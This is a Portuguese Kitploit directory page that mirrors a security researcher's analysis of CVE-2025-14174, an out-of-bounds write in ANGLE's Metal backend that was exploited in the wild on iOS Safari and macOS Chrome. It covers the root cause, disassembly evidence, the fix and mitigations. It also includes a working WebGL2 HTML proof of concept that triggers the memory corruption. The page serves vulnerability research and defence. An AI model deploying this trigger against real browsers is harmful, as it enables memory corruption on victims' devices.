Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-14174-analysis — Análise e PoC para CVE-2025-14174 - ANGLE Metal OOB write (iOS Safari, macOS Chrome) | Kitploit
Ferramentas/GitHubGitHub/typeconfused/cve-2025-14174-analysis
Segurança iOSAnálise de VulnerabilidadesExploraçãoSegurança WebSegurança MóvelSegurança de HardwareAnálise de Binários
GitHubtypeconfused/cve-2025-14174-analysis

CVE-2025-14174-analysis

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Análise e PoC para CVE-2025-14174 - ANGLE Metal OOB write (iOS Safari, macOS Chrome)

Ver Repositório
11há 7 mesesAinda não revisado

Análise do CVE-2025-14174: Escrita Fora dos Limites no Buffer de Staging do ANGLE Metal

Análise técnica e prova de conceito para CVE-2025-14174

CVECVE-2025-14174
GravidadeAlta
Explorado ITWSim - ataques direcionados a iOS < 26
AfetadoiOS Safari, macOS Chrome/Chromium/Electron (não macOS Safari)
StatusCorrigido no commit 95a32cb do ANGLE
CréditoApple, Google Threat Analysis Group

Exploração Ativa (In-the-Wild)

De acordo com a Apple, o CVE-2025-14174 foi explorado como parte de um "ataque extremamente sofisticado contra indivíduos específicos" em versões do iOS anteriores ao iOS 26.

A cadeia de ataque incluía:

  • CVE-2025-14174 (este relatório) - Escrita OOB no ANGLE Metal
  • CVE-2025-43529 (WebKit Bug 302502) - Use-after-free no WebKit

Índice

  • Resumo
  • Plataformas Afetadas
  • Impacto
  • Causa Raiz
  • Condições de Disparo
  • Análise Técnica
  • Prova de Conceito
  • A Correção
  • Notas de Detecção
  • Mitigações
  • Referências

Resumo

Uma vulnerabilidade de escrita fora dos limites (OOB) existe no backend Metal do ANGLE ao enviar texturas de profundidade via um buffer de staging. O tamanho do buffer de staging é calculado usando GL_UNPACK_IMAGE_HEIGHT em vez da altura real da textura. Quando UNPACK_IMAGE_HEIGHT < height, o ANGLE aloca um buffer menor e subsequentemente escreve height linhas nele, causando uma corrupção de memória da GPU no processo renderizador.


Plataformas Afetadas

Esta vulnerabilidade afeta aplicações que usam o backend Metal do ANGLE para WebGL:

Detalhes da Plataforma

O Safari do iOS é afetado. No iOS, o WebKit usa ANGLE como seu backend WebGL, tornando o Safari no iPhone e iPad vulnerável.

O Safari do macOS NÃO é afetado. No macOS, o Safari usa sua própria implementação WebGL nativa do WebKit que interage diretamente com o Metal, ignorando completamente o ANGLE.

O Chrome do macOS é afetado. O Google Chrome rodando no macOS 26.1 mostrou-se vulnerável durante testes, pois usa o backend Metal do ANGLE para WebGL.

O caminho de código vulnerável existe na classe TextureMtl do ANGLE (setSubImageImpl / setPerSliceSubImage / SaturateDepth).


Impacto

GravidadeDescrição
ConfirmadoEscrita no backend GPU/Metal além do final do buffer de staging

Características principais:

  • O bug é silencioso no WebGL (tipicamente retorna NO_ERROR)
  • Nenhum artefato visível de renderização na maioria dos casos
  • As camadas de validação do Metal podem não detectar o estouro
  • Potencial para instabilidade do processo GPU ou exploração dependendo do layout da heap

Causa Raiz

No caminho de upload de textura de profundidade D32F, o ANGLE calcula pixelsDepthPitch a partir de GL_UNPACK_IMAGE_HEIGHT e usa esse valor para dimensionar o MTLBuffer de staging. No entanto, o dispatch de computação subsequente (saturação de profundidade) usa a altura real da textura para a operação, causando uma escrita OOB quando os parâmetros diferem.

Exemplo de Incompatibilidade de Tamanho

Para width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:


Condições de Disparo

Todas as condições abaixo devem ser verdadeiras:

  1. Contexto WebGL2 (necessário para suporte a PBO)
  2. Formato de textura de profundidade DEPTH_COMPONENT32F (verificado; outros formatos de profundidade também podem ser afetados, mas não testados)
  3. Pixel Buffer Object (PBO) vinculado a PIXEL_UNPACK_BUFFER
  4. GL_UNPACK_IMAGE_HEIGHT definido com um valor menor que a altura real da textura
  5. Backend Metal do ANGLE ativo (iOS Safari, ou Chrome/Chromium/Electron no macOS)

Por que o WebGL não Bloqueia Isso

GL_UNPACK_IMAGE_HEIGHT é definido pela especificação GL para afetar uploads de texturas 3D/array, não texturas 2D. Para TEXTURE_2D:

  • O parâmetro é aceito, mas não participa da validação do WebGL
  • O WebGL não rejeita UNPACK_IMAGE_HEIGHT < height para texturas 2D
  • O ANGLE usa incorretamente esse parâmetro para dimensionar o buffer de staging para uploads de profundidade

Análise Técnica

Cadeia de Chamadas Vulnerável

root@kitploit:~
WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
    │
    ▼
ANGLE (Backend Metal)
├── TextureMtl::setImageImpl
│   └── TextureMtl::setSubImageImpl
│       └── Calcula pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│   └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...)  ← MENOR QUE O NECESSÁRIO
│
└── SaturateDepth
    ├── getComputeCommandEncoder()
    ├── setBuffer(stagingBuffer, index=2)
    └── dispatchThreads(MTLSize{width, actualHeight})  ← USA ALTURA REAL

Evidências Binárias (iOS 26.1)

root@kitploit:~
; setSubImageImpl - calcula depthPitch menor que o necessário
0x272fa90f4: ldr  w8, [x25, #0x10]     ; carrega UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - chama MakeBufferWithStorageMode com depthPitch menor que o necessário
0x272fac5bc: mov  x2, x19              ; x2 = tamanho (depthPitch menor que o necessário)
0x272fac5c4: bl   #0x272ef19bc         ; chama MakeBufferWithStorageMode

Evidências Binárias (macOS 26.1)

root@kitploit:~
; setSubImageImpl - calcula depthPitch menor que o necessário
0x22c6d11c0: ldr  w8, [x25, #0x10]     ; carrega UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - chama MakeBufferWithStorageMode com depthPitch menor que o necessário
0x22c6d461c: ldr  x20, [sp, #0x48]     ; carrega depthPitch da pilha
0x22c6d4628: bl   MakeBufferWithStorageMode

A função SaturateDepth subsequentemente dispara um compute shader do Metal usando as dimensões reais da textura, escrevendo além do buffer de staging menor que o necessário.


Prova de Conceito

Disparo Mínimo (WebGL2)

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');

const width = 256, height = 256;
const unpackHeight = 16;  // << smaller than actual height

// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);

// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
    gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
    width, height, 0,
    gl.DEPTH_COMPONENT, gl.FLOAT, 0
);

// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>

Resultado esperado em sistemas vulneráveis: gl.getError() retorna NO_ERROR apesar da escrita OOB ocorrer no processo GPU.


A Correção

Commit 95a32cb do ANGLE corrige a alocação do buffer de staging para usar as dimensões reais da textura:

root@kitploit:~
// ANTES (vulnerável)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));

// DEPOIS (corrigido)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));

Além disso, o cálculo de srcBytesPerImage foi corrigido para a operação de blit:

root@kitploit:~
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;

Notas de Detecção

Esta vulnerabilidade é difícil de detectar a partir do JavaScript:

  • Buffers de staging são recursos internos do Metal no processo GPU
  • O WebGL tipicamente retorna NO_ERROR mesmo quando o bug é disparado
  • As camadas de validação do Metal podem não sinalizar o estouro
  • Nenhum artefato visível de renderização na maioria dos casos
  • Requer instrumentação de chamadas da API Metal ou depuração de memória GPU

Mitigações

AbordagemDescrição
AtualizaçãoAplicar atualizações da plataforma que contenham a correção do ANGLE
Solução alternativaEvitar definir menor que a altura real para texturas de profundidade

Referências

  • Correção do ANGLE: https://chromium.googlesource.com/angle/angle/+/95a32cb
  • Bug do Chromium: https://issues.chromium.org/issues/466192044
  • Bug do WebKit (CVE-2025-43529): https://webkit.org/b/302502
  • Plataformas Afetadas:
    • iOS: Safari (WebKit usa ANGLE Metal)
    • macOS: Chrome, Chromium, Electron (usam ANGLE Metal)

Créditos

Descoberta da Vulnerabilidade: Apple, Google Threat Analysis Group

Análise Técnica: Este relatório documenta pesquisa independente e engenharia reversa da vulnerabilidade.


Análise conduzida como parte do projeto de pesquisa de segurança SpiderWebKit.

Baixar ferramenta
PlataformaSoftwareAfetadoNotas
iOSSafariSimWebKit no iOS usa ANGLE Metal para WebGL
macOSChrome / ChromiumSimUsa backend Metal do ANGLE
macOSAplicativos ElectronSimUsa implementação do ANGLE do Chromium
macOSSafariNãoUsa o WebGL Metal nativo do WebKit, não o ANGLE
ConfirmadoReproduzível via WebGL2 + PBO + DEPTH_COMPONENT32F
PlausívelFalha no processo GPU ou perda de contexto sob pressão de memória
TeóricoCorrupção cruzada de recursos na memória GPU (não demonstrada)
ParâmetroCálculoValor
Passo da linha (row pitch)width * sizeof(float)4 bytes
Buffer de staging (alocado)rowPitch * UNPACK_IMAGE_HEIGHT512 bytes
Dispatch de computação (escrito)rowPitch * actualHeight2048 bytes
Escrita OOB2048 - 5121536 bytes
FunçãoEndereçoPapel
setSubImageImpl0x272fa9028Calcula depthPitch menor que o necessário
setPerSliceSubImage0x272fac240Aloca buffer de staging menor que o necessário
MakeBufferWithStorageMode0x272ef19bcCria MTLBuffer com tamanho errado
SaturateDepth0x272facfa4Dispara computação com dimensões reais
FunçãoEndereçoPapel
setSubImageImpl0x22c6d10f4Calcula depthPitch menor que o necessário
setPerSliceSubImage0x22c6d4398Aloca buffer de staging menor que o necessário
MakeBufferWithStorageMode0x22c619490Cria MTLBuffer com tamanho errado
SaturateDepth0x22c6d5144Dispara computação com dimensões reais
UNPACK_IMAGE_HEIGHT
Defesa em profundidadeUsar uploads de tamanho fixo onde UNPACK_IMAGE_HEIGHT == height